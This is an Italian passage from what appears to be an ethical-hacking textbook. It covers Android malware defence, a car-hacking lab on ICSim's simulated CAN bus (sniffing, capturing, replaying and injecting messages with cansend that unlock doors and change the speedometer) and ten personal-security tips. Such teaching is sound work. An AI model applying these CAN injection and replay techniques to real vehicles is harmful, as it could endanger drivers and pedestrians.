Tieni presente, però, che le app dannose possono riuscire ad arrivare fino agli store ufficiali. Questo è il motivo per cui è essenziale leggere con attenzione quali autorizzazioni sta richiedendo un’app prima di installarla. Un gioco o un’app semplice, per esempio, non dovrebbero avere accesso ai tuoi contatti o al registro delle chiamate; inoltre, a meno che non si tratti di app di realtà aumentata come Pokémon Go o di app di navigazione come Google Maps, non dovrebbero nemmeno chiedere l’autorizzazione a utilizzare i servizi GPS. Se un’app chiede più autorizzazioni di quelle che ritieni dovrebbe usare, cancellala e trovane una che faccia ciò che ti serve senza chiederne così tante. Analogamente, se un’app che hai installato ti chiede maggiori autorizzazioni, soprattutto se ti richiede l’accesso come superuser (root), puoi annullare la richiesta o, meglio ancora, eliminare l’app. Non dare mai a un’app più autorizzazioni di quelle che ritieni necessarie. La maggior parte delle app funziona perfettamente anche senza troppe autorizzazioni.

Se ti accorgi che alcune app presenti sul tuo smartphone si aprono in maniera del tutto autonoma (per esempio, quando abbiamo usato Meterpreter per aprire l’app YouTube sulla VM Android), spegni completamente lo smartphone; non limitarti a spegnere lo schermo. Premi il pulsante di accensione del telefono insieme al pulsante per aumentare il volume per svariati secondi, finché lo schermo non diventa nero; funziona in quasi tutti gli smartphone Android. IN alternativa, se usi un dispositivo particolare, cerca sul Web come si fa a resettarlo. Se ti accorgessi di strani comportamenti del tuo smartphone o del tuo tablet, potrebbe essere un’ottima idea installare un’app di sicurezza. Esistono svariate app antivirus gratuite o a costi contenuti che sono in grado di rilevare processi o comunicazioni malevoli nel caso in cui il tuo smartphone dovesse essere violato per mezzo di un’app.

Infine, esattamente come per il computer portatile o desktop, non cliccare mai su link sospetti all’interno delle e-mail o degli SMS. Puoi verificare i link copiandoli e incollandoli in VirusTotal. In uno smartphone, però, devi prestare ancora più attenzione per evitare di cliccarci sopra (la differenza fra un clic e l’operazione di copiatura è data solo da quanto tempo tieni il dito sul link; se non lo tieni abbastanza a lungo da far comparire il menu per copiarlo, infatti, significa che l’hai cliccato). Ricorda bene che se riesce a indurti a cliccare su un link malevolo o a installare un’app dannosa, un aggressore può accedere a un’infinità di informazioni personali, compresa la tua posizione attuale! Di’ ai tuoi amici, familiari e persone care in genere di sospettare di qualsiasi link ricevuto attraverso un SMS o un’e-mail e di pensare con molta attenzione prima di installare un’app, soprattutto se proviene da una fonte sconosciuta.

Cosa ho imparato

In questo capitolo hai creato una macchina virtuale Android che funziona in maniera quasi identica a uno smartphone o a un tablet Android. Hai usato Metasploit per creare un trojan Meterpreter per Android, in una maniera praticamente identica a quella che hai usato nel Capitolo 6 per Windows 10, e hai installato e lanciato il trojan sulla VM Android. Dopo aver ottenuto il controllo del dispositivo Android, hai imparato in che modo un aggressore può eseguire app, impadronirsi di contatto, caricare e scaricare file, sfruttare la videocamera e spiare nella cronologia della ricerca.

Hai anche imparato il modo migliore per difendere i dispositivi mobili dal malware, evitando di installare app non affidabili. Anche se l’app sembra legittima, cancellala o disinstallala nel caso in cui chieda più autorizzazioni di quelle necessarie. Se lo smartphone inizia a comportarsi in maniera strana, riavvialo, cancella tutte le app sospette e prendi in considerazione l’idea di installare un’app di sicurezza come uno scanner antivirus, in particolar modo se pensi di aver installato accidentalmente un malware.

Nel prossimo capitolo metterai alla prova un’ultima attività di hacking: vedrai che l’hacking non si applica solamente ai computer, agli smartphone e ai tablet. Userai gli strumenti della VM Kali Linux per violare altri dispositivi connessi, dalle smart TV alle console di videogame e altro. Proveremo addirittura a violare un’automobile!
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HACKING DI UN’AUTOMOBILE E DELL’INTERNET DELLE COSE
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Alcuni dei computer in cui potrebbe essere particolarmente interessante accedere sono intorno a te, ma probabilmente non li consideri computer. Molti elettrodomestici – dai termostati alle videocamere di sicurezza, passando per i frigoriferi e gli speaker intelligenti Alexa e Google Home – contengono un computer. Oggi, perfino le automobili dispongono di una connessione a Internet e di sistemi informatici che potrebbero essere attaccati da hacker non etici.

I dispositivi informatici connessi a Internet integrati negli oggetti quotidiani sono noti come Internet delle cose o Internet of Things (IoT). I dispositivi IoT ci semplificano la vita, ma possono anche essere un grave rischio per la sicurezza. I dispositivi medicali connessi a Internet possono migliorare il nostro stato di salute e consentire al produttore di monitorarli e aggiornarli da remoto; immagina però cosa potrebbe accadere se un aggressore riuscisse a violare il pacemaker o la pompa d’insulina per fare del male a un paziente. Analogamente, le radio via satellite, i navigatori GPS e i sistemi di entertainment 4G/5G presenti in auto possono rendere più gradevoli i lunghi viaggi in auto, ma tutte queste reti hanno anche un problema: rendono i sistemi più vulnerabili agli attacchi di un aggressore. Prova a immaginare se qualcuno riuscisse a violare la tua auto e a farla frenare improvvisamente mentre sei in autostrada.

Gli ethical hacker cercano di violare i dispositivi IoT per trovare eventuali problemi prima che possano essere trovati e sfruttati dagli aggressori, che potrebbero arrecare danni molto seri. In questo capitolo vedremo come funziona il tutto.

Violeremo la rete simulata di un’automobile, osservando i messaggi inviati dall’auto e scrivendo dei comandi per controllare il cruscotto dell’auto.

Installare il software per il car hacking

Per questo hack dovremo installare un pacchetto software denominato Instrument Cluster Simulator (ICSim), un cruscotto virtuale che permette di visualizzare e interagire con un tachimetro, gli indicatori di svolta e la chiusura delle portiere esattamente come se si trattasse di un veicolo vero e proprio. ICSim è stato realizzato da Craig Smith, detto zombieCraig, e dal team OpenGarages per aiutare hacker e ricercatori a scoprire come lavorare con le reti delle automobili in modo sicuro ed etico, senza rischiare di danneggiare o distruggere un veicolo vero e proprio o un pedone inconsapevole.

1.Apri una finestra del terminale e fai un update dell’elenco pacchetti di Kali:
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2.Ora installa le dipendenze di ICSim digitando questo comando:
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Nota bene: entrambi i pacchetti libsdl2 sono scritti con una L minuscola prima del numero 2.

3.Installa ICSim:
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4.Imposta can-utils sulla tua macchina:
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5.Imposta il simulatore di cruscotto di ICSim con questi comandi:
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Ora, puoi avviare il cruscotto dell’automobile virtuale e iniziare a fare hacking!

Preparare la rete CAN Bus virtuale

La rete di un’automobile è nota come CAN bus, o semplicemente CAN. Fin dagli anni Novanta la CAN bus è stata utilizzata in moltissime auto per controllare i diversi sistemi e sensori, come quelli dedicati allo sterzo, ai freni, alla radio, al condizionatore d’aria e ai centri di entertainment. Il software ICSim appena installato crea una rete CAN bus virtuale (VCAN); in questo capitolo vedremo come fare ad attaccarla.

Ora passiamo a creare la rete, per completare l’ambiente di car hacking.

1.Per creare la VCAN, inserisci questo comando nel terminale all’interno della cartella di ICSim:
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2.Verifica che la VCAN sia impostata correttamente inserendo il comando ip addr in un terminale. Dovrebbe essere visualizzato il tuo indirizzo IP insieme a una nuova rete denominata vcan0.
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3.Inserisci questo comando nel terminale per indicare di eseguire ICSim con la rete vcan0 appena creata e di rimanere quindi in attesa di comandi:
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Viene visualizzato un cruscotto simulato come quello illustrato nella Figura 10.1.
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Figura 10.1: Il programma ICSim visualizza un cruscotto di automobile simulato con un tachimetro, gli indicatori di svolta e altro.

4.Si apre la finestra di CANBus Control Panel, che ha l’aspetto del controller di un videogame.
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5.Ridimensiona la finestra di CANBus Control Panel in modo da rendere visibile ICSim cliccando su uno degli angoli e trascinando.

6.Fai clic destro sulla barra superiore della finestra di CANBus Control Panel e seleziona Always on Top, come illustrato nella Figura 10.2.

NOTAL’ago del tachimetro nella finestra di ICSim potrebbe muoversi leggermente, perché il controller sta inviando segnali all’automobile virtuale.
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Figura 10.2: Rendere visibile e accessibile l’app controller.

Per guidare l’auto virtuale, clicca sulla finestra di CANBus Control Panel e usa la tastiera per inviare comandi. I comandi possibili sono riportati nella Tabella 10.1. Premi la freccia verso l’alto per accelerare, le frecec di sinistra e di destra per controllare gli indicatori di svolta e così via.


Tabella 10.1: Controlli da tastiera di CANBus Control Panel.







	Funzione

	Tasto/i




	Accelerazione

	Premi e tieni premuta la freccia verso l’alto (↑)




	Segnala una svolta a sinistra o a destra

	Premi e tieni premuta la freccia verso sinistra o verso destra (←/→)




	Sblocca la portiera anteriore sinistra o anteriore destra

	MAIUSC DESTRO+A O MAIUSC DESTRO+B




	Sblocca la portiera posteriore sinistra o anteriore destra

	Maiusc destro+X o Maiusc destro+Y




	Blocca tutte le portiere

	Tieni premuto il tasto Maiusc destro e tocca il tasto Maiusc sinistro




	Sblocca tutte le portiere

	Tieni premuto il tasto Maiusc sinistro e tocca il tasto Maiusc destro







L’app di controllo è l’unico modo per interagire con la VCAN, a meno che non la violiamo.

Car hacking

Il car hacking segue una procedura analoga a quella che dovremmo seguire per la maggior parte dei dispositivi IoT.

1.Usa un programma per visualizzare e registrare il traffico sulla rete vcan0 fra l’app di controllo e il cruscotto. Questo tipo di programma prende il nome di packet sniffer (i messaggi inviati sulla rete si chiamano pacchetti).

2.Identifica quali pacchetti di rete e quali comandi controllano i sistemi o le funzioni dell’auto.

3.Prendi il controllo dell’auto rinviando sulla rete vcan0 i pacchetti catturati oppure digitando dei comandi sul terminale.

Visualizzare i pacchetti

Per ascoltare la rete simulata possiamo usare cansniffer, il packet sniffer integrato in can-utils.

1.Lancia cansniffer dalla finestra del terminale con questo comando:
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2.Modifica le dimensioni della finestra del terminale facendola diventare alta e stretta (come illustrato nella Figura 10.3): in questo modo è più facile leggere i messaggi di cansniffer. Puoi anche ridurre la dimensione del font premendo un po’ di volte Ctrl e il tasto meno (–).

3.Clicca sulla finestra di CANBus Control Panel e invia altri comandi all’auto virtuale. Prova ad accelerare, a usare gli indicatori di svolta e così via.

Lo strumento cansniffer intercetta i pacchetti che vengono inviati su vcan0 fra l’app di controllo e il cruscotto, visualizzandoli nella finestra del terminale. Ogni riga nella finestra rappresenta un pacchetto. La rete trasmette svariate centinaia di pacchetti al secondo, quindi avanzano molto rapidamente. Vediamo un esempio di pacchetto per capire quale tipo di informazione può contenere. Ecco alcuni dei pacchetti visibili nella Figura 10.3:
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La prima colonna è un timestamp ❶ che rappresenta quando è stato inviato il pacchetto. La seconda colonna ❷ è l’ID del sistema a cui viene inviato o da cui viene ricevuto un messaggio. Come vedremo fra breve, CAN ID# 244 rappresenta il tachimetro. La terza colonna ❸ è il messaggio di dati CAN, rappresentato da un valore esadecimale, mentre la quarta ❹ contiene gli stessi dati, ma in formato stampabile.
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Figura 10.3: Il packet sniffer cansniffer mostra i messaggi che viaggiano sulla rete vcan0.

NOTAIl sistema di numerazione esadecimale, o in base 16, usa i numeri da 0 a 9 e le lettere da A a F per rappresentare le cifre da 0 a 15. Nel sistema esadecimale, la lettera A rappresenta il valore 10 decimale (il sistema numerico normalmente utilizzato da noi), B significa 11 e così via.

Gli hacker esperti sanno come analizzare il traffico prelevato da un packet sniffer per stabilire che cosa significano i diversi pacchetti. Per imparare, ci vogliono esercizio e pazienza. Per ora, prova ad accelerare qualche volta premendo il tasto freccia verso l’alto nell’app di controllo e, intanto, osserva l’ID# 244 nella finestra del terminale. Mentre acceleri e deceleri, verifica il cambiamento dei valori nella colonna dei messaggi. Riconoscere uno schema è un indizio che l’ID #244 si riferisce al tachimetro.

Ora prova a premere i tasti che servono per svoltare (i tasti freccia a destra e a sinistra) e osserva l’ID# 188: dovrebbe comparire quando si toccano i tasti e sparire qualche istante dopo. Blocca e sblocca le portiere usando i tasti Maiusc di sinistra e di destra, oppure il tasto Maiusc di destra più i tasti X, Y, A e B e osserva i cambiamenti nei dati accanto all’ID# 19B. La riga relativa a 19B dovrebbe comparire solo per un istante quando si bloccano o si sbloccano le portiere.

Premi Ctrl+C nella finestra del terminale per interrompere cansniffer quando hai fatto tutte le prove desiderate. Non preoccuparti se i pacchetti viaggiavano troppo velocemente per riuscire a rilevare gli specifici ID; nel passaggio seguente registreremo alcuni pacchetti. In tal modo potremo studiarli con tutto il tempo che vogliamo.

Catturare i pacchetti

Lo strumento candump di can-utils registra i messaggi da un CAN bus in modo da poterli analizzare, o riprodurre, in un secondo tempo.

1.Per avviare la registrazione dei pacchetti da vcan0, inserisci questo comando:
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L’opzione -l (un trattino e una L minuscola) è un’abbreviazione di log: stiamo infatti chiedendo a candump di registrare il proprio output un log, o file di registro.

2.Torna alla finestra di CANBus Control Panel e guida per qualche secondo. Accelera e decelera, svolta a sinistra e a destra e sblocca e blocca le portiere.

3.Premi Ctrl+C per interrompere la registrazione.

4.Digita ls (abbreviazione di list) nella finestra del terminale per visualizzare i contenuti della directory ICSim. Dovresti visualizzare un nuovo file il cui nome ha questo formato: candump-AAAA-MMGG_ora.log (l’ora è definita in ore, minuti e secondi HHMMSS), come in questo esempio:
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Il file di registro di candump è un semplice file di testo. Il file può quindi essere visualizzato in un editor di testi. Per cercare uno specifico valore ID CAN, come il 188 per gli indicatori di svolta, puoi usare la combinazione di tasti Ctrl+F, come illustrato nella Figura 10.4.
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Figura 10.4: Ricerca di specifici valori di ID CAN nell’editor di testi Mousepad.

Riprodurre i pacchetti

Se rinvii i pacchetti catturati nel file di registro sulla rete vcan0, puoi fare in modo che il cruscotto “riviva” la sessione di guida appena registrata.

Questo tipo di hack prende il nome di replay attack (attacco di replicazione).

1.Per prima cosa chiudi CANBus Control Panel. La finestra di controllo invia costantemente dei segnali anche quando è inattiva, ma per controllare il cruscotto noi vogliamo usare solo i pacchetti che abbiamo catturato.

2.Inserisci questo comando nella finestra del terminale per riprodurre il file di registro con lo strumento canplayer, sostituendo candump-AAAA-MM-GG_ora.log con il nome del tuo file di registro:
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3.Il cruscotto ICSim dovrebbe iniziare a muoversi esattamente allo stesso modo in cui si è mosso quando hai catturato i pacchetti. Per esempio, nella Figura 10.15 sto girando a destra e sbloccando le quattro portiere mentre guido a oltre 90 miglia l’ora (più di 140 km/h)! (Sconsiglio nella maniera più assoluta di farlo in un’auto reale).
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Figura 10.5: Il cruscotto viene controllato dalla riproduzione dei pacchetti.

Molti dispositivi IoT sono vulnerabili ai replay attack come questo. Per esempio, quando sono arrivate sul mercato molte serrature Bluetooth erano soggette ad attacchi di questo tipo.

Con un portatile su cui è in esecuzione uno sniffer Bluetooth (come Kismet, incluso in Kali) e un’antenna Bluetooth fisica (come la Ubertooth One, che costa un centinaio di euro), era possibile catturare i pacchetti mentre qualcuno apriva la porta con il proprio smartphone e replicarli per sbloccare la porta tutte le volte che lo si desiderava.

Oggi, per evitare i replay attack, a ogni messaggio viene aggiunto un valore speciale, in modo che il sistema riesca a distinguere se sta ricevendo un nuovo messaggio o uno già ricevuto in precedenza.

Invio di nuovi comandi

Chi cerca di violare le automobili può analizzare i file di registro candump per decifrare gli ID CAN e cercare di capire che cosa significa ogni valore in ciascun messaggio. Con queste conoscenze, gli hacker possono inviare comandi specifici al sistema per fare in modo che l’auto faccia ciò che desiderano. Per esempio, inviare il messaggio 02000000 all’ ID# 188 attiva l’indicatore di svolta a destra. Proviamo!

Inserisci questo comando nel terminale con ICSim aperto e la finestra di controllo chiusa:
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Per inviare un messaggio CAN a vcan0 usiamo il comando cansend. Il messaggio contiene l’ID della freccia (188), il simbolo del cancelletto (#) come separatore e infine i dati che rappresentano la svolta a destra (02000000). Ora sul cruscotto il segnale di svolta a destra dovrebbe illuminarsi di verde.

Se vuoi accendere la spia di svolta a sinistra, invia il segnale:
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Per disattivare tutte le spie, invia il messaggio 188#00000000; in alternativa, puoi usare questo comando per attivare entrambi gli indicatori contemporaneamente:
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Ora osserva i pacchetti CAN e trova i dati relativi al tachimetro (ID# 244) nel file di registro di candump. Parrebbe che le ultime quattro cifre esadecimali crescano al crescere della velocità. Il valore 0000000000 indica 0 miglia l’ora, mentre 0000003894 corrisponde a circa 90 miglia l’ora. Vediamo a che cosa corrisponde il valore 0000009999:
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Come si può notare nella Figura 10.6, il tachimetro schizza a 240 miglia l’ora (oltre 380 km/h)! Puoi spingere ancora più forte usando i valori esadecimali. Prova a cambiare le ultime quattro cifre in A000, B000 o addirittura FFFF.
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Figura 10.6: Usando cansend possiamo controllare il cruscotto inviando dei segnali direttamente al CAN bus.

Analogamente, possiamo bloccare tutte le portiere inviando il messaggio 19B#00000F000000 e sbloccarle con il messaggio 19B#000000000000 (dopo il cancelletto ci sono 12 zeri):
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L’auto virtuale pensa che stiamo girando contemporaneamente a destra e a sinistra e, nello stesso istante, sbloccando le quattro portiere, mentre viaggiamo a oltre 380 km/h!

In che modo gli aggressori violano le auto reali

Per usare gli strumenti can-utils e quanto abbiamo appena imparato per violare un’auto reale, a un aggressore basta un portatile con Kali Linux e un cavo per connettere il laptop a una porta OBD-II (on-board diagnostic, versione 2), che in genere si trova sotto il volante. Questi cavi si possono trovare a meno di 100 euro. Il car hacking su veicoli reali, tuttavia, è una faccenda estremamente seria, che può portare a danni alla proprietà molto gravi o a incidenti anche mortali. I ricercatori praticano questo tipo di hacking in ambiente controllato, alla ricerca di potenziali vulnerabilità.

Se vuoi praticare il car hacking, fallo in modo sicuro, nel tuo garage o in un vialetto senza uscita; non tentare mai di praticare il car hacking su un’auto per strada o in qualsiasi punto in cui qualcuno possa farsi male.

Chi pratica il car hacking non sempre deve mantenere una connessione via cavo con un veicolo per inviare i comandi. Dopo aver trovato degli ID CAN e dei messaggi utili grazie alla connessione diretta con un particolare modello e marca di auto, un aggressore o un ricercatore può tentare di connettersi all’auto via wireless utilizzando Bluetooth, Wi-Fi o 4G/5G per inviare i messaggi CAN da remoto. Un hack di alto profilo utilizzava la connessione dello smartphone del conducente per prendere il controllo dell’auto attraverso il sistema di entertainment integrato nel cruscotto, il tutto solo con i comandi vocali. In un altro hack, veniva utilizzato il sistema di aggiornamento wireless 4G della Tesla per installare software dannoso e modificare le impostazioni dell’auto da remoto.

La buona notizia è che ogni auto è leggermente diversa dalle altre, per cui gli ID CAN di un’auto solitamente sono completamente diversi da quelli di un’altra.

Ogni produttore usa codici diversi e a volte anche ogni modello di un produttore ha codici diversi da quelli degli altri modelli; non solo, ma i codici possono cambiare addirittura da un anno con l’altro! Inoltre, sulle auto moderne vi sono diversi tipi di reti di controllo; CAN è solo il più comune.

In breve, per violare i codici di un’auto reale ci vuole davvero molta, molta pazienza.

Cosa ho imparato

In questo capitolo abbiamo usato ICSim e can-utils per violare la rete di un’auto virtuale. Abbiamo impostato questi strumenti in una macchina virtuale Kali. Abbiamo quindi “sniffato” il traffico di rete con cansniffer per capire che aspetto hanno i dati CAN. Abbiamo catturato dei segnali CAN usando candump e abbiamo riprodotto questi pacchetti con canplayer, per modificare il cruscotto senza usare i controlli da tastiera dell’auto virtuale. Abbiamo inoltre inviato messaggi CAN specifici con il comando cansend per usare gli indicatori di svolta, cambiare il tachimetro e sbloccare le portiere direttamente dalla riga di comando. Infine, abbiamo imparato che per fare car hacking di un veicolo reale bastano solo un centinaio di dollari di strumenti e molta, molta pazienza.
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DIECI MISURE CHE PUOI ADOTTARE SUBITO PER PROTEGGERTI ONLINE
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Ed eccoci giunti alla fine del libro. Il tuo viaggio come ethical hacker, tuttavia, è appena agli inizi. Ora conosci gli strumenti usati dai cattivi, oltre che sapere come difenderti contro gli attacchi più comuni (hack fisici, ingegneria sociale, ricognizione nei motori di ricerca, car hacking, hacking IoT, malware, violazione delle password, hacking dei server web e hacking dei dispositivi mobili). In altre parole, hai imparato come fare a hackerare te stesso! In quest’ultimo capitolo riportiamo dieci misure che puoi adottare fin da subito per proteggere te stesso e i tuoi cari dagli attacchi online e nel mondo reale.

1. Comprendi di essere un obiettivo

A volte si pensa: “Questo a me non accadrà mai”, oppure: “Non ci posso fare nulla”, il che porta a diventare vittime di hack malevoli. In questo libro abbiamo visto che violare la maggior parte dei dispositivi è semplice e nessuno è completamente al sicuro dalle minacce online. Tuttavia, bastano alcune precauzioni per evitare almeno di essere un obiettivo facile per gli aggressori. La consapevolezza di essere un obiettivo potenziale – e che le tue informazioni personali sono molto preziose per l’hacker black hat medio – è un primo passo importante per proteggere te stesso e le persone che ti sono care.

2. Fai attenzione all’ingegneria sociale

Se qualcuno cerca di convincerti a fare qualcosa, sia online sia di persona, fermati un attimo e pensa attentamente se la cosa è nel tuo interesse. Dai venditori di auto usate troppo insistenti a cybercriminali fino ai predatori online, gli aggressori sfruttano le loro conoscenze di psicologia per cercare di convincerci a fare ciò che desiderano.

Presta molta attenzione alle minacce alla tua privacy, e tienila nella massima considerazione. Se qualcuno ti chiede informazioni personali, valuta chi è veramente. Che cosa ti sta chiedendo e perché ha bisogno di queste informazioni? Se possibile, evita di farti mettere nella condizione di dover fornire le tue informazioni: blocca i contatti indesiderati e le connessioni sui social media, cancella le e-mail sospette senza rispondere, riattacca le chiamate pubblicitarie e cancella gli SMS di spam. Queste, che di primo acchito potrebbero sembrare solo seccature, in realtà rappresentano una possibile via d’accesso per un aggressore.

Già che ci sei, evita di condividere troppe informazioni sui social media. Prima di postare, twittare o condividere, pensa a chi può vedere i tuoi post e a cosa potrebbe fare con quelle informazioni. Le foto di te e dei tuoi amici, i luoghi in cui ti rechi (non postare mai le foto delle vacanze mentre sei ancora in vacanza) e le cose che ti piacciono sono tutte informazioni che possono essere sfruttate da un malintenzionato per ingannarti e indurti a fidarti di lui.

In caso di dubbio, parla con una persona di fiducia; segnala i crimini informatici e denunciate il cyberbullismo, lo stalking o le molestie alla polizia postale https://www.commissariatodips.it/.

3. Tieni presente l'importanza della sicurezza fisica e spegni i dispositivi quando possibile

L’accesso fisico è un accesso totale. Pertanto, presta attenzione alla sicurezza fisica tanto quanto a quella online. Chiudi a chiave le porte, proteggi le tue cose e presta attenzione a ciò che colleghi al computer. Se ti allontani anche solo per pochi minuti dal computer portatile quando sei al bar, un malintenzionato potrebbe accedere ai tuoi file o portarsi via tutto il computer. Un’unità flash o un altro dispositivo collegato al computer può essere usato per rubare file o lanciare malware.

Disattiva le connessioni al computer, come Bluetooth o Wi-Fi, quando non le utilizzi. Oltre a risparmiare la batteria, blocchi molti possibili attacchi. Lo stesso vale per i dispositivi mobili, nei quali dovresti inoltre chiudere le app quando hai finito di usarle. Se possibile, spegni il computer e il telefono durante la notte. Dormirai meglio, con maggiore tranquillità e una bolletta più contenuta (e in più fai anche bene all’ambiente).

4. Pensa prima di cliccare

Se non sei sicuro della provenienza di un’e-mail, non aprire nessun link né allegato. Esamina con attenzione i link web, o analizzali con VirusTotal, prima di cliccare. Ancor meglio, apri un nuovo browser e cerca il sito reale invece di cliccare su un link all’interno di un’e-mail, anche se sembra legittimo.

Non scaricare e non installare software dal Web, a meno che non ti fidi della fonte e, anche in questo caso, verifica prima con VirusTotal o con l’antivirus. Non aprire gli allegati sospetti, compresi i documenti Office, i PDF e i video; verifica la fonte o scansiona i file alla ricerca di virus per essere più sicuro. Non condividere e non scaricare file o software illegali né musica o film pirata. Gli hacker malintenzionati spesso nascondono sorprese dannose in questi file “gratuiti”.

Installa applicazioni mobili solo se provengono da app store ufficiali. Prima di installare una nuova app, leggi l’elenco dei permessi richiesti. Un gioco o un’app semplice, per esempio, non dovrebbero avere accesso ai tuoi contatti o al registro delle chiamate; inoltre, a meno che non si tratti di app di realtà aumentata come Pokémon Go o di app di navigazione come Google Maps, non dovrebbero nemmeno chiedere l’autorizzazione a utilizzare i servizi GPS. Se un’app chiede più autorizzazioni di quelle che ritieni dovrebbe usare, cancellala e trovane una che faccia ciò che ti serve senza chiederne così tante.

5. Usa un gestore delle password e attiva l’autenticazione a due fattori

Nella maggior parte dei casi, le password possono essere decifrate in pochi secondi o minuti. Otto caratteri per una password non bastano. Scegli una passphrase facile da ricordare, composta da quattro o più parole con un mix di caratteri (lettere, numeri, simboli e caratteri accentati). Non riutilizzare la stessa password per più siti; anche se aggiungi numeri o caratteri speciali, un hacker impiega pochi secondi per decifrare una password simile a una già conosciuta.

Non memorizzare le password nel browser: ricorda che bastano pochi clic per scoprirla. Utilizza invece un gestore di password, come KeePass, Dashlane, LastPass o simili. Un gestore di password genera casualmente password difficili e complesse (più di 20 caratteri) e le memorizza in forma criptata. Imposta una passphrase lunga per accedere al gestore di password, poi lascia che sia il gestore di password a gestire automaticamente tutte le altre password in modo da non doverle tenere a mente.

I gestori di password sono considerati sicuri perché crittografano le password utilizzando una crittografia di livello militare. Si tratta di una soluzione molto diversa dalla sicurezza attraverso la segretezza vista nel Capitolo 1. Invece di limitarsi a nascondere le altre password, un gestore di password le mette al sicuro rendendole irrecuperabili se un aggressore non dispone di una lunga passphrase. Per fare un’analogia, usare un gestore di password è come mettere le chiavi di casa in una cassaforte antiproiettile da due tonnellate con una serratura a combinazione di 20 numeri ancorata al marciapiede, invece di nascondere la chiave sotto lo zerbino. Crittografando le password prima di memorizzarle, un gestore di password protetto da una passphrase efficace offre una sicurezza reale, non solo riservatezza.

C’è solo un’eccezione all’uso di un gestore di password: la password dell’e-mail va tenuta separata e ricordata a mente, non memorizzata nel gestore, nel caso in cui dimentichi la passphrase del gestore di password e debba reimpostare tutte le password usando l’e-mail. Questo ti protegge anche nel caso in cui qualcuno ti abbia convibto a dargli la passphrase del gestore delle password: potrai comunque reimpostare le altre password facendoti inviare all’e-mail i link per reimpostarle. In definitiva, dovrai ricordarti solo due passphrase, quella dell’e-mail e quella del gestore delle password. Potrai avere delle password uniche e quasi impossibili da decifrare per ogni account.

Per maggiore protezione nel caso in cui un malintenzionato riesca a rubare o indovinare una delle password, attiva l’autenticazione a due fattori per gli account più critici. L’autenticazione a due fattori aggiunge un ulteriore livello di sicurezza, richiedendo una verifica supplementare oltre alla password per accedere agli account più sensibili. Solitamente, la verifica supplementare prevede l’invio di un codice di sicurezza al cellulare.

6. Tieni aggiornato il software

Attiva gli aggiornamenti automatici del sistema operativo e aggiorna regolarmente il browser e le altre applicazioni. È meglio eseguire gli aggiornamenti almeno una volta al mese. Scegli un giorno del mese, per esempio il primo, il 15, il 30, e segnalo sul calendario: è il giorno in cui devi procedere all’aggiornamento. È semplicemente una delle cose che devi fare, come pagare le bollette. Aggiorna il telefono, la smart TV e gli altri dispositivi non appena è disponibile un aggiornamento.

Le patch di sicurezza e gli aggiornamenti del software sono il primo luogo in cui gli aggressori cercano le vulnerabilità che potrebbero sfruttare nelle versioni precedenti. Se un aggressore si accorge che un problema è stato risolto, chiunque non abbia scaricato la correzione diventa un bersaglio facile. Ecco perché la maggior parte degli oltre duemila exploit di Kali attacca versioni obsolete del software. Mantenere aggiornato il software elimina oltre il 99% degli attacchi conosciuti su Internet.

7. Proteggi i dati più sensibili

Non accedere ad account sensibili da un computer pubblico o da una rete non affidabile. Esegui le operazioni sensibili solo dal computer più protetto, tenuto in un posto sicuro e con installato un buon programma antivirus, un firewall, un software aggiornato, un controllo degli account forte e pochissimi programmi installati. A casa, utilizza una password complessa e un Wi-Fi sicuro e controlla regolarmente il router per verificare la presenza di dispositivi sconosciuti, almeno una volta al mese.

Prendi in considerazione l’idea di tenere fuori dal computer i dati più privati, come le informazioni sulle carte di credito, i moduli fiscali e le cartelle cliniche. In caso contrario, per le informazioni sensibili sul computer che desideri proteggere al massimo livello possibile, prendi in considerazione la possibilità di crittografare i file o di crittografare l’intero disco rigido del computer su cui svolgi lavori sensibili. In Windows Professional, puoi crittografare l’intero disco rigido con BitLocker, oppure crittografare singoli file e cartelle facendo clic con il pulsante destro del mouse e scegliendo Avanzate ▶ Crittografa il contenuto per proteggere i dati. In macOS, puoi crittografare il disco rigido con FileVault, andando a Preferenze di Sistema ▶ Sicurezza e Privacy ▶ FileVault. Senza scendere nei dettagli, i programmi di crittografia spiegano abbastanza bene come procedere e una rapida ricerca sul Web può essere d’aiuto nel caso in cui tu non riesca ad andare avanti. Esistono anche software open source come VeraCrypt per crittografare file, cartelle o interi dischi con una password o una passphrase con pochi clic. Puoi scaricare VeraCrypt all’indirizzo https://www.veracrypt.fr/.

AVVISOSe ti dimentichi la password utilizzata per crittografare i file, non potrai più accedervi!

Puoi memorizzare la password di crittografia in un gestore di password per evitare di dimenticarla. I file resteranno comunque completamente inutilizzabili nel caso in cui un ladro ti rubi il disco rigido o il portatile o per un aggressore che utilizza un ransomware per rubare i dati dal computer prima di bloccarlo e chiedere un riscatto.

8. Usa saggiamente il software di ripristino

Mantieni attivo il firewall e aggiorna il software antivirus con regolarità. Esistono svariati software antivirus gratuiti o a basso costo. Cerca quelli che riescono a bloccare più malware e aggiorna l’antivirus settimanalmente o, meglio ancora, attiva gli aggiornamenti automatici per garantirti la massima protezione. I firewall e gli antivirus possono proteggerti solo se sono attivi e aggiornati.

Prendi in considerazione l’idea di usare un’applicazione VPN per proteggere il telefono o il portatile quando sei in viaggio o utilizzi un Wi-Fi pubblico. Una VPN, o virtual private network (rete privata virtuale), tiene nascosta la tua identità e crittografa i dati quando navighi in Internet, in modo che chiunque spii la rete non possa vedere le informazioni. Con una VPN, sarai più al sicuro della maggior parte dei tuoi colleghi e più al riparo dalla maggior parte degli attacchi online.

9. Esegui il backup dei dati che desideri conservare

La miglior difesa contro la perdita di dati, sia essa dovuta a ransomware, furto, distruzione o cancellazione accidentale, è eseguire spesso il backup. Esegui il backup dei file su un disco rigido esterno settimanalmente o mensilmente (a seconda dello stress che potresti avere in caso di perdita di un mese di dati).

È meglio tenere l’unità di backup in un luogo separato dal computer, per evitare di perdere entrambi nello stesso momento. In alternativa, puoi evitare la seccatura del backup su disco rigido e utilizzare un servizio di backup su cloud per pochi euro al mese. Cercane uno con una reputazione eccellente e le caratteristiche che desiderate e di cui hai bisogno.

10. Parla con la tua famiglia

Comunica. Sempre. Assicurati che figli, genitori e parenti più anziani conoscano i tipi di minacce e attacchi da cui hai imparato a difenderti in questo libro. I criminali e i predatori online sono alla ricerca dei loro account e delle loro identità, proprio come lo sono dei tuoi. Incoraggiali a riflettere prima di rispondere a un’e-mail, a una telefonata o a un SMS sospetto o minaccioso. Se non sono sicuri di come comportarsi, puoi anche offrirti di fare da “reality checker”. A volte basta parlare di un’offerta o di una minaccia online per far capire al destinatario che si tratta di una truffa.

